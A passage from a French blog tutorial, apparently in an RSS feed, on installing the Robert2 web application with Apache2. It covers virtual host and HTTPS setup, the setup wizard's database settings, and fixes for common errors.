</span></span><span class="line"><span class="cl">        CustomLog <span class="si">${</span><span class="nv">APACHE_LOG_DIR</span><span class="si">}</span>/access.log combined
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        &lt;Directory /var/www/Robert2&gt;
</span></span><span class="line"><span class="cl">                Options +FollowSymLinks
</span></span><span class="line"><span class="cl">                AllowOverride All
</span></span><span class="line"><span class="cl">                Require all granted
</span></span><span class="line"><span class="cl">        &lt;/Directory&gt;
</span></span><span class="line"><span class="cl">        &lt;Location <span class="s2">&#34;/server-status&#34;</span>&gt;
</span></span><span class="line"><span class="cl">                SetHandler server-status
</span></span><span class="line"><span class="cl">                Require all granted
</span></span><span class="line"><span class="cl">        &lt;/Location&gt;
</span></span><span class="line"><span class="cl">&lt;/VirtualHost&gt;
</span></span></code></pre></div><h4 id="https">HTTPS</h4>
<ul>
<li>Mettre respectivement le certificat (ex: robert2.mydomain.local.crt) et la clé privée (ex: robert2.mydomain.local.key) du serveur dans <code>/etc/ssl/certs</code> et <code>/etc/ssl/private</code></li>
<li>Activer le module php <strong>ssl</strong>: <code>sudo a2enmod ssl</code></li>
<li>Modifier <code>/etc/apache2/sites-available/robert2.mydomain.local.conf</code>:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">&lt;VirtualHost *:80&gt;
</span></span><span class="line"><span class="cl">		ServerName robert2.mydomain.local
</span></span><span class="line"><span class="cl">		ServerAlias www.robert2.mydomain.local
</span></span><span class="line"><span class="cl">		Redirect permanent / https://robert2.mydomain.local/
</span></span><span class="line"><span class="cl">&lt;/VirtualHost&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&lt;VirtualHost *:443&gt;
</span></span><span class="line"><span class="cl">ServerAdmin admin@mydomain.local
</span></span><span class="line"><span class="cl">        ServerName robert2.mydomain.local
</span></span><span class="line"><span class="cl">        ServerAlias www.robert2.mydomain.local
</span></span><span class="line"><span class="cl">        DocumentRoot /var/www/Robert2
</span></span><span class="line"><span class="cl">		
</span></span><span class="line"><span class="cl">        SSLEngine On
</span></span><span class="line"><span class="cl">        SSLCertificateFile /etc/ssl/certs/robert2.mydomain.local.crt
</span></span><span class="line"><span class="cl">        SSLCertificateKeyFile /etc/ssl/private/robert2.mydomain.local.key
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        ErrorLog <span class="si">${</span><span class="nv">APACHE_LOG_DIR</span><span class="si">}</span>/error.log
</span></span><span class="line"><span class="cl">        CustomLog <span class="si">${</span><span class="nv">APACHE_LOG_DIR</span><span class="si">}</span>/access.log combined
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        &lt;Directory /var/www/Robert2&gt;
</span></span><span class="line"><span class="cl">                Options +FollowSymLinks
</span></span><span class="line"><span class="cl">                AllowOverride All
</span></span><span class="line"><span class="cl">                Require all granted
</span></span><span class="line"><span class="cl">        &lt;/Directory&gt;
</span></span><span class="line"><span class="cl">        &lt;Location <span class="s2">&#34;/server-status&#34;</span>&gt;
</span></span><span class="line"><span class="cl">                SetHandler server-status
</span></span><span class="line"><span class="cl">                Require all granted
</span></span><span class="line"><span class="cl">        &lt;/Location&gt;
</span></span><span class="line"><span class="cl">&lt;/VirtualHost&gt;
</span></span></code></pre></div><h4 id="paramétrage-dapache2">Paramétrage d&rsquo;Apache2</h4>
<p>Afin de paramétrer correctement Apache2, il faut éditer le fichier <code>/etc/apache2/apache2.conf</code> et rajouter la ligne <code>ServerName 127.0.0.1</code> à la fin.</p>
<p>Sans ça, l&rsquo;erreur <strong>Apache Configuration Error AH00558: Could not reliably determine the server&rsquo;s fully qualified domain name</strong> va apparaître quand on va utiliser <strong>apache2ctl configtest</strong>.</p>
<p>On active ensuite le VHost du serveur, désactive le site par défaut et vérifie la configuration:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo a2ensite robert2.mydomain.local
</span></span><span class="line"><span class="cl">sudo a2dissite 000-default.conf
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo apache2ctl configtest
</span></span><span class="line"><span class="cl">AH00112: Warning: DocumentRoot <span class="o">[</span>/var/www/Robert2<span class="o">]</span> does not exist
</span></span><span class="line"><span class="cl">Syntax OK
</span></span></code></pre></div><p>L&rsquo;avertissement est normale car on n&rsquo;a pas encore créé le répertoire.</p>
<p>Enfin, on active le module URLRewriting et on redémarre Apache2:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo a2enmod rewrite
</span></span><span class="line"><span class="cl">sudo systemctl restart apache2
</span></span></code></pre></div><hr>
<h3 id="robert2">Robert2</h3>
<p>Ceci est la dernière étape de l&rsquo;article, l&rsquo;installation de Robert2.</p>
<h4 id="téléchargement">Téléchargement</h4>
<ul>
<li>Télécharger le .zip à cette <a href="https://github.com/Robert-2/Robert2/releases">adresse</a></li>
<li>Le mettre dans <code>/var/www/</code></li>
<li>L&rsquo;extraire et renommer le dossier <strong>Robert2</strong></li>
<li>Donner les droits sur le dossier à l&rsquo;utilisateur <strong>www-data</strong>: <code>sudo chown -R www-data:www-data /var/www/Robert2</code></li>
</ul>
<h4 id="finalisation-de-linstallation">Finalisation de l&rsquo;installation</h4>
<p>Afin de finaliser l&rsquo;installation, il faut ouvrir un navigateur et se rendre sur l&rsquo;IP du serveur, normalement, voila ce qui devrait s&rsquo;afficher.</p>
<div>
        <img src="/posts/installation_robert2/images/Capture1.png" alt="Capture1">
</div>
<p>On peut lancer l&rsquo;assistant en cliquant sur <strong>C&rsquo;est parti !</strong>.</p>
<div>
        <img src="/posts/installation_robert2/images/Capture2.png" alt="Capture2">
</div>
<p>Cette page demande l&rsquo;<strong>URL d&rsquo;application</strong> qui est l&rsquo;URL à laquelle on va se connecter à Robert2 (ici <code>https://robert2.mydomain.local</code>, il manque une partie sur la capture d&rsquo;écran).</p>

    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg></div><b>Avertissement</b>
        </div>
        <div class="admonition-content"><p>Cette valeur est très importante car si on ne rentre pas EXACTEMENT cette dernière (protocole inclut) dans notre navigateur, il sera impossible de s&rsquo;identifier ou le serveur sera inaccessible.</p>
<p>En cas de problème, voir <a href="#d%C3%A9sol%C3%A9-mais-lapi-est-inaccessible">ici</a>.</p>
</div>
    </aside>
<p>Après ça, il y a deux pages nous demandant de valider des paramètres et renseigner les informations de notre société avant d&rsquo;arriver au paramétrage de la BDD.</p>
<div>
        <img src="/posts/installation_robert2/images/Capture5.png" alt="Capture5">
</div>
<p>Ici, on va pouvoir renseigner les informations de la BDD créée précedemment:</p>
<ul>
<li><strong>Serveur MYSQL (host):</strong> localhost</li>
<li><strong>Utilisateur MYSQL (user):</strong> Le nom de l&rsquo;utilisateur (ici robert2)</li>
<li><strong>Mot de passe MYSQL (password):</strong> Le mot de passe de l&rsquo;utilisateur</li>
<li><strong>Nom de la base de données:</strong> Ici robert2_db</li>
</ul>
<p>Une fois cela fait, il n&rsquo;y a plus qu&rsquo;a laisser Robert2 créer la structure de la BDD, créer un utilisateur et le serveur est prêt !</p>
<hr>
<h2 id="erreurs">Erreurs</h2>
<h3 id="page-blanche">Page blanche</h3>
<p>Donnez l&rsquo;appartenance du dossier et sous-dossiers <code>/var/www/Robert2</code> à <strong>www-data</strong> (chown).</p>
<h3 id="apachectl-status-renvoie-un-problème-avec-www-browser">apachectl status renvoie un problème avec www-browser</h3>
<p>Installer le paquet <strong>w3m</strong>.</p>
<h3 id="désolé-mais-lapi-est-inaccessible">Désolé, mais l&rsquo;API est inaccessible&hellip;</h3>
<p>Cela signifie que l&rsquo;URL a laquelle vous vous connectez n&rsquo;est pas la même que celle inscrite après <strong>baseUrl</strong> dans le fichier <code>/var/www/Robert2/src/App/Config/settings.json</code>.</p>
<p>Cela peut être au niveau du protocole (HTTPS/HTTP) ou parce que vous vous y connecter depuis l&rsquo;adresse IP alors que le nom de domaine y est paramétré.</p>
<hr>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://robertmanager.org/wiki/install">https://robertmanager.org/wiki/install</a></li>
<li><a href="https://www.debian-fr.org/t/certificat-packages-sury-org-expire/86215">https://www.debian-fr.org/t/certificat-packages-sury-org-expire/86215</a></li>
<li><a href="https://www.digitalocean.com/community/tutorials/apache-configuration-error-ah00558-could-not-reliably-determine-the-server-s-fully-qualified-domain-name">https://www.digitalocean.com/community/tutorials/apache-configuration-error-ah00558-could-not-reliably-determine-the-server-s-fully-qualified-domain-name</a></li>
</ul>
]]></content></item></channel></rss>